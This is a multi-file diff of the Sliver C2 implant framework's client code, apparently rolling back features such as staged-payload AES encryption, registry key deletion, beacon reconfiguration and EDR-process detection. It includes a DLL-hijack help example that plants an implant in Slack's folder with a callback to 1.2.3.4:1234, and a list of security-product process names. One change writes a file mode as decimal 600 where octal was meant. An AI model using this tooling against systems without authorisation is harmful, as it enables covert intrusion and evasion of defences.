consts.AliasesStr: loadAliasHelp,
consts.AliasesStr: loadMacrosHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
@@ -84,7 +84,6 @@ var (
consts.RegistryWriteStr: regWriteHelp,
consts.RegistryReadStr: regReadHelp,
consts.RegistryCreateKeyStr: regCreateKeyHelp,
consts.RegistryDeleteKeyStr: regDeleteKeyHelp,
consts.PivotsStr: pivotsHelp,
consts.WgPortFwdStr: wgPortFwdHelp,
consts.WgSocksStr: wgSocksHelp,
@@ -371,7 +370,7 @@ Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD
screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
[[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
`
loadAliasHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
[[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
@@ -483,11 +482,6 @@ When using the binary type, you must either:
[[.Bold]]Example:[[.Normal]] registry create --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
`
regDeleteKeyHelp = `[[.Bold]]Command:[[.Normal]] registry delete PATH [name]
[[.Bold]]About:[[.Normal]] Remove a value from the windows registry
[[.Bold]]Example:[[.Normal]] registry delete --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
`
pivotsHelp = `[[.Bold]]Command:[[.Normal]] pivots
[[.Bold]]About:[[.Normal]] List pivots for the current session. NOTE: pivots are only supported on sessions, not beacons.
[[.Bold]]Examples:[[.Normal]]
@@ -657,8 +651,8 @@ supplied with the --profile flag.
# Use a local DLL for a hijack
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a Sliver generated DLL for the hijack (you must specify -R or --run-at-load)
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll --run-at-load
# Use a Sliver generated DLL for the hijack
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a local DLL as the reference DLL
+6 -6
View File
@@ -81,7 +81,7 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
shortID,
host.Hostname,
host.OSVersion,
hostSessions(host.HostUUID, con),
hostSessionNumbers(host.HostUUID, con),
hostBeacons(host.HostUUID, con),
len(host.IOCs),
len(host.ExtensionData),
@@ -90,16 +90,16 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
return tw.Render()
}
func hostSessions(hostUUID string, con *console.SliverConsoleClient) string {
func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) string {
hostSessions := SessionsForHost(hostUUID, con)
if len(hostSessions) == 0 {
if 0 == len(hostSessions) {
return "None"
}
sessionIDs := []string{}
sessionNumbers := []string{}
for _, hostSession := range hostSessions {
sessionIDs = append(sessionIDs, strings.Split(hostSession.ID, "-")[0])
sessionNumbers = append(sessionNumbers, fmt.Sprintf("%d", hostSession.ID))
}
return fmt.Sprintf("%d", len(sessionIDs))
return strings.Join(sessionNumbers, ", ")
}
func hostBeacons(hostUUID string, con *console.SliverConsoleClient) string {
+5 -54
View File
@@ -19,14 +19,8 @@ package info
*/
import (
"context"
"time"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
@@ -39,7 +33,7 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if session != nil {
con.Printf(console.Bold+" Session ID: %s%s\n", console.Normal, session.ID)
con.Printf(console.Bold+" ID: %s%d\n", console.Normal, session.ID)
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, session.Name)
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, session.Hostname)
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, session.UUID)
@@ -50,14 +44,13 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, session.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, session.Version)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, session.ActiveC2)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, session.ReconnectInterval)
} else if beacon != nil {
con.Printf(console.Bold+" Beacon ID: %s%s\n", console.Normal, beacon.ID)
con.Printf(console.Bold+" ID: %s%s\n", console.Normal, beacon.ID)
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, beacon.Name)
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, beacon.Hostname)
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, beacon.UUID)
@@ -68,11 +61,10 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
con.Printf(console.Bold+" Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
con.Printf(console.Bold+" Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
con.Printf(console.Bold+" Interval: %s%d\n", console.Normal, beacon.Interval)
con.Printf(console.Bold+" Jitter: %s%d\n", console.Normal, beacon.Jitter)
} else {
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
@@ -124,50 +116,9 @@ func WhoamiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if session == nil && beacon == nil {
return
}
var isWin bool
con.Printf("Logon ID: ")
if session != nil {
con.Printf("%s\n", session.Username)
if session.GetOS() == "windows" {
isWin = true
}
} else if beacon != nil {
con.Printf("%s\n", beacon.Username)
if beacon.GetOS() == "windows" {
isWin = true
}
}
if isWin {
cto, err := con.Rpc.CurrentTokenOwner(context.Background(), &sliverpb.CurrentTokenOwnerReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if cto.Response != nil && cto.Response.Async {
con.AddBeaconCallback(cto.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, cto)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintTokenOwner(cto, con)
})
con.PrintAsyncResponse(cto.Response)
} else {
PrintTokenOwner(cto, con)
}
}
}
func PrintTokenOwner(cto *sliverpb.CurrentTokenOwner, con *console.SliverConsoleClient) {
if cto.Response != nil && cto.Response.Err != "" {
con.PrintErrorf("%s\n", cto.Response.Err)
return
}
con.PrintInfof("Current Token ID: %s", cto.Output)
}
-35
View File
@@ -26,7 +26,6 @@ import (
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
@@ -34,8 +33,6 @@ import (
func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
profileName := ctx.Flags.String("profile")
listenerURL := ctx.Flags.String("url")
aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
if profileName == "" || listenerURL == "" {
con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n")
@@ -59,39 +56,12 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Profile not found\n")
return
}
aesEncrypt := false
if aesEncryptKey != "" {
// check if aes encryption key is correct length
if len(aesEncryptKey)%16 != 0 {
con.PrintErrorf("Incorect length of AES Key\n")
return
}
// set default aes iv
if aesEncryptIv == "" {
aesEncryptIv = "0000000000000000"
}
// check if aes iv is correct length
if len(aesEncryptIv)%16 != 0 {
con.PrintErrorf("Incorect length of AES IV\n")
return
}
aesEncrypt = true
}
stage2, err := generate.GetSliverBinary(profile, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if aesEncrypt {
stage2 = util.Encrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
}
switch stagingURL.Scheme {
case "http":
ctrl := make(chan bool)
@@ -155,9 +125,4 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Unsupported staging protocol: %s\n", stagingURL.Scheme)
return
}
if aesEncrypt {
con.PrintInfof("AES KEY: %v\n", aesEncryptKey)
con.PrintInfof("AES IV: %v\n", aesEncryptIv)
}
}
+13 -15
View File
@@ -27,7 +27,6 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/core"
"github.com/desertbit/grumble"
)
@@ -36,26 +35,28 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
// Confirm with the user, just in case they confused kill with terminate
confirm := false
con.PrintWarnf("WARNING: This will kill the remote implant process\n\n")
promptSession := &survey.Confirm{Message: "Kill the active session?"}
promptBeacon := &survey.Confirm{Message: "Kill the active beacon?"}
if session != nil {
survey.AskOne(&survey.Confirm{Message: "Kill the active session?"}, &confirm, nil)
survey.AskOne(promptSession, &confirm, nil)
if !confirm {
return
}
err := KillSession(session, ctx, con)
err := KillSession(session, ctx.Flags.Bool("force"), con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
con.ActiveTarget.Background()
return
} else if beacon != nil {
survey.AskOne(&survey.Confirm{Message: "Kill the active beacon?"}, &confirm, nil)
}
if beacon != nil {
survey.AskOne(promptBeacon, &confirm, nil)
if !confirm {
return
}
err := KillBeacon(beacon, ctx, con)
err := KillBeacon(beacon, ctx.Flags.Bool("force"), con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -68,31 +69,28 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
func KillSession(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) error {
func KillSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
if session == nil {
return errors.New("session does not exist")
}
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
Request: &commonpb.Request{
SessionID: session.ID,
Timeout: int64(ctx.Flags.Int("timeout")),
},
Force: ctx.Flags.Bool("force"),
Force: force,
})
core.Sessions.Remove(session.ID)
return err
}
func KillBeacon(beacon *clientpb.Beacon, ctx *grumble.Context, con *console.SliverConsoleClient) error {
func KillBeacon(beacon *clientpb.Beacon, force bool, con *console.SliverConsoleClient) error {
if beacon == nil {
return errors.New("session does not exist")
}
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
Request: &commonpb.Request{
BeaconID: beacon.ID,
Timeout: int64(ctx.Flags.Int("timeout")),
},
Force: ctx.Flags.Bool("force"),
Force: force,
})
return err
+4 -4
View File
@@ -35,7 +35,7 @@ func PivotDetailsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if session == nil {
return
}
pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
@@ -86,10 +86,10 @@ func PrintPivotListenerDetails(listener *sliverpb.PivotListener, con *console.Sl
"ID",
"Remote Address",
})
for _, pivotListener := range listener.Pivots {
for _, pivot := range listener.Pivots {
tw.AppendRow(table.Row{
pivotListener.PeerID,
pivotListener.RemoteAddress,
pivot.ID,
pivot.RemoteAddress,
})
}
con.Printf("%s\n", tw.Render())
-49
View File
@@ -1,49 +0,0 @@
package pivots
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"fmt"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
// PivotsGraphCmd - Display pivots for all sessions
func PivotsGraphCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
graph, err := con.Rpc.PivotGraph(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
data, err := json.MarshalIndent(graph.Children, "", " ")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
fmt.Printf("%s\n", string(data))
}
+1 -1
View File
@@ -35,7 +35,7 @@ func PivotsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if session == nil {
return
}
pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+1 -1
View File
@@ -34,7 +34,7 @@ func StopPivotListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient
}
id := uint32(ctx.Flags.Int("id"))
if id == uint32(0) {
pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+3 -23
View File
@@ -23,7 +23,6 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/prelude"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
@@ -41,7 +40,7 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
AESKey: aesKey,
}
implantMapper := prelude.InitImplantMapper(config)
sessionMapper := prelude.InitSessionMapper(config)
con.PrintInfof("Connected to Operator at %s\n", url)
if !skipExisting {
@@ -53,28 +52,9 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if len(sessions.Sessions) > 0 {
con.PrintInfof("Adding existing sessions ...\n")
for _, session := range sessions.Sessions {
if !session.IsDead {
err = implantMapper.AddImplant(session, nil)
if err != nil {
con.PrintErrorf("Could not add session %s to implant mapper: %s", session.Name, err)
}
}
}
con.PrintInfof("Done !\n")
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Could not get beacon list: %s", err)
return
}
if len(beacons.Beacons) > 0 {
con.PrintInfof("Adding existing beacons ...\n")
for _, beacon := range beacons.Beacons {
err = implantMapper.AddImplant(beacon, func(taskID string, cb func(task *clientpb.BeaconTask)) {
con.AddBeaconCallback(taskID, cb)
})
err = sessionMapper.AddSession(session)
if err != nil {
con.PrintErrorf("Could not add beacon %s to implant mapper: %s", beacon.Name, err)
con.PrintErrorf("Could not add session %s to session mapper: %s", session.Name, err)
}
}
con.PrintInfof("Done !\n")
+2 -2
View File
@@ -25,8 +25,8 @@ import (
)
func OperatorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if prelude.ImplantMapper != nil {
con.PrintInfof("Connected to Operator at %s\n", prelude.ImplantMapper.GetConfig().OperatorURL)
if prelude.SessionMapper != nil {
con.PrintInfof("Connected to Operator at %s\n", prelude.SessionMapper.GetConfig().OperatorURL)
return
}
con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")
+1 -1
View File
@@ -99,7 +99,7 @@ func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string
return
}
} else {
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 0o600)
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 600)
if err != nil {
con.PrintErrorf("Error creating file: %s\n", err)
return
+15 -40
View File
@@ -35,17 +35,14 @@ import (
var (
// Stylizes known processes in the `ps` command
knownSecurityTools = map[string][]string{
// Process Name -> [Color, Stylized Name]
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
knownSecurityTools = map[string]string{
"ccSvcHst.exe": console.Red, // SEP
"cb.exe": console.Red, // Carbon Black
"MsMpEng.exe": console.Red, // Windows Defender
"smartscreen.exe": console.Red, // Windows Defender Smart Screen
"bdservicehost.exe": console.Red, // Bitdefender (Total Security)
"bdagent.exe": console.Red, // Bitdefender (Total Security)
"bdredline.exe": console.Red, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
}
)
@@ -71,20 +68,10 @@ func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
PrintPS(os, ps, false, ctx, con)
products := findKnownSecurityProducts(ps)
if 0 < len(products) {
con.Println()
con.PrintWarnf("Security Product(s): %s\n", strings.Join(products, ", "))
}
})
con.PrintAsyncResponse(ps.Response)
} else {
PrintPS(os, ps, true, ctx, con)
products := findKnownSecurityProducts(ps)
if 0 < len(products) {
con.Println()
con.PrintWarnf("Security Product(s): %s\n", strings.Join(products, ", "))
}
}
}
@@ -99,6 +86,7 @@ func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
// PrintPS - Prints the process list
func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context, con *console.SliverConsoleClient) {
pidFilter := ctx.Flags.Int("pid")
exeFilter := ctx.Flags.String("exe")
ownerFilter := ctx.Flags.String("owner")
@@ -130,36 +118,23 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
if ownerFilter != "" && !strings.Contains(strings.ToLower(proc.Owner), strings.ToLower(ownerFilter)) {
continue
}
row := procRow(tw, proc, cmdLine, con)
tw.AppendRow(row)
procRow(tw, proc, cmdLine, con)
}
tw.SortBy([]table.SortBy{
{Name: "pid", Mode: table.Asc},
{Name: "ppid", Mode: table.Asc},
})
if !interactive {
overflow = true
}
settings.PaginateTable(tw, skipPages, overflow, interactive, con)
}
func findKnownSecurityProducts(ps *sliverpb.Ps) []string {
products := []string{}
for _, proc := range ps.Processes {
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
products = append(products, secTool[1])
}
}
return products
}
// procRow - Stylizes the process information
func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) table.Row {
func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
color := console.Normal
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
color = secTool[0]
if modifyColor, ok := knownSecurityTools[proc.Executable]; ok {
color = modifyColor
}
if session != nil && proc.Pid == session.PID {
color = console.Green
@@ -221,7 +196,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
}
}
}
return row
tw.AppendRow(row)
}
// GetPIDByName - Get a PID by name from the active session
-4
View File
@@ -41,10 +41,6 @@ func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Pid: int32(pid),
Force: ctx.Flags.Bool("force"),
})
if err != nil {
con.PrintErrorf("Terminate failed: %s", err)
return
}
if terminated.Response != nil && terminated.Response.Async {
con.AddBeaconCallback(terminated.Response.TaskID, func(task *clientpb.BeaconTask) {
-4
View File
@@ -1,4 +0,0 @@
Reconfig
=========
Commands used to reconfigure beacon/session times and metadata
-96
View File
@@ -1,96 +0,0 @@
package reconfig
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// ReconfigCmd - Reconfigure metadata about a sessions
func ReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
var err error
var reconnectInterval time.Duration
if ctx.Flags.String("reconnect-interval") != "" {
reconnectInterval, err = time.ParseDuration(ctx.Flags.String("reconnect-interval"))
if err != nil {
con.PrintErrorf("Invalid reconnect interval: %s\n", err)
return
}
}
var beaconInterval time.Duration
var beaconJitter time.Duration
if beacon != nil {
if ctx.Flags.String("beacon-interval") != "" {
beaconInterval, err = time.ParseDuration(ctx.Flags.String("beacon-interval"))
if err != nil {
con.PrintErrorf("Invalid beacon interval: %s\n", err)
return
}
}
if ctx.Flags.String("beacon-jitter") != "" {
beaconJitter, err = time.ParseDuration(ctx.Flags.String("beacon-jitter"))
if err != nil {
con.PrintErrorf("Invalid beacon jitter: %s\n", err)
return
}
if beaconInterval == 0 && beaconJitter != 0 {
con.PrintInfof("Modified beacon jitter will take effect after next check-in\n")
}
}
}
reconfig, err := con.Rpc.Reconfigure(context.Background(), &sliverpb.ReconfigureReq{
ReconnectInterval: int64(reconnectInterval),
BeaconInterval: int64(beaconInterval),
BeaconJitter: int64(beaconJitter),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
if reconfig.Response != nil && reconfig.Response.Async {
con.AddBeaconCallback(reconfig.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, reconfig)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
con.PrintInfof("Reconfigured beacon\n")
})
con.PrintAsyncResponse(reconfig.Response)
} else {
con.PrintInfof("Reconfiguration complete\n")
}
}
+1 -1
View File
@@ -95,7 +95,7 @@ func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
// PrintCreateKey - Print the results of the create key command
// PrintCreateKey - Print the results of the crate key command
func PrintCreateKey(createKey *sliverpb.RegistryCreateKey, regPath string, key string, con *console.SliverConsoleClient) {
if createKey.Response != nil && createKey.Response.Err != "" {
con.PrintErrorf("%s", createKey.Response.Err)
-105
View File
@@ -1,105 +0,0 @@
package registry
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// RegDeleteKeyCmd - Remove a Windows registry key
func RegDeleteKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
targetOS := getOS(session, beacon)
if targetOS != "windows" {
con.PrintErrorf("Registry operations can only target Windows\n")
return
}
hostname := ctx.Flags.String("hostname")
hive := ctx.Flags.String("hive")
if err := checkHive(hive); err != nil {
con.PrintErrorf("%s\n", err)
return
}
regPath := ctx.Args.String("registry-path")
if regPath == "" {
con.PrintErrorf("You must provide a path\n")
return
}
if strings.Contains(regPath, "/") {
regPath = strings.ReplaceAll(regPath, "/", "\\")
}
pathBaseIdx := strings.LastIndex(regPath, `\`)
if pathBaseIdx < 0 {
con.PrintErrorf("invalid path: %s", regPath)
return
}
if len(regPath) < pathBaseIdx+1 {
con.PrintErrorf("invalid path: %s", regPath)
return
}
finalPath := regPath[:pathBaseIdx]
key := regPath[pathBaseIdx+1:]
deleteKey, err := con.Rpc.RegistryDeleteKey(context.Background(), &sliverpb.RegistryDeleteKeyReq{
Hive: hive,
Path: finalPath,
Key: key,
Hostname: hostname,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if deleteKey.Response != nil && deleteKey.Response.Async {
con.AddBeaconCallback(deleteKey.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, deleteKey)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintDeleteKey(deleteKey, finalPath, key, con)
})
con.PrintAsyncResponse(deleteKey.Response)
} else {
PrintDeleteKey(deleteKey, finalPath, key, con)
}
}
// PrintDeleteKey - Print the results of the delete key command
func PrintDeleteKey(deleteKey *sliverpb.RegistryDeleteKey, regPath string, key string, con *console.SliverConsoleClient) {
if deleteKey.Response != nil && deleteKey.Response.Err != "" {
con.PrintErrorf("%s", deleteKey.Response.Err)
return
}
con.PrintInfof("Key removed at %s\\%s", regPath, key)
}
-50
View File
@@ -1,50 +0,0 @@
package sessions
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// CloseSessionCmd - Close an interactive session but do not kill the remote process
func CloseSessionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// Get the active session
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
con.PrintErrorf("No active session\n")
return
}
// Close the session
_, err := con.Rpc.CloseSession(context.Background(), &sliverpb.CloseSession{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
con.ActiveTarget.Set(nil, nil)
}
+7 -7
View File
@@ -50,29 +50,29 @@ func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.
return nil, ErrNoSessions
}
sessionsMap := map[string]*clientpb.Session{}
sessionsMap := map[uint32]*clientpb.Session{}
for _, session := range sessions.GetSessions() {
sessionsMap[session.ID] = session
}
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
// to work properly since we rely on the index of the user's selection to find the session in the map
var keys []string
var keys []int
for _, session := range sessions.Sessions {
keys = append(keys, session.ID)
keys = append(keys, int(session.ID))
}
sort.Strings(keys)
sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
for _, key := range keys {
session := sessionsMap[key]
session := sessionsMap[uint32(key)]
if onlyAlive && session.IsDead {
continue
}
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\n",
session.ID,
session.Name,
session.RemoteAddress,
@@ -98,7 +98,7 @@ func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.
// Go from the selected option -> index -> session
for index, option := range options {
if option == selected {
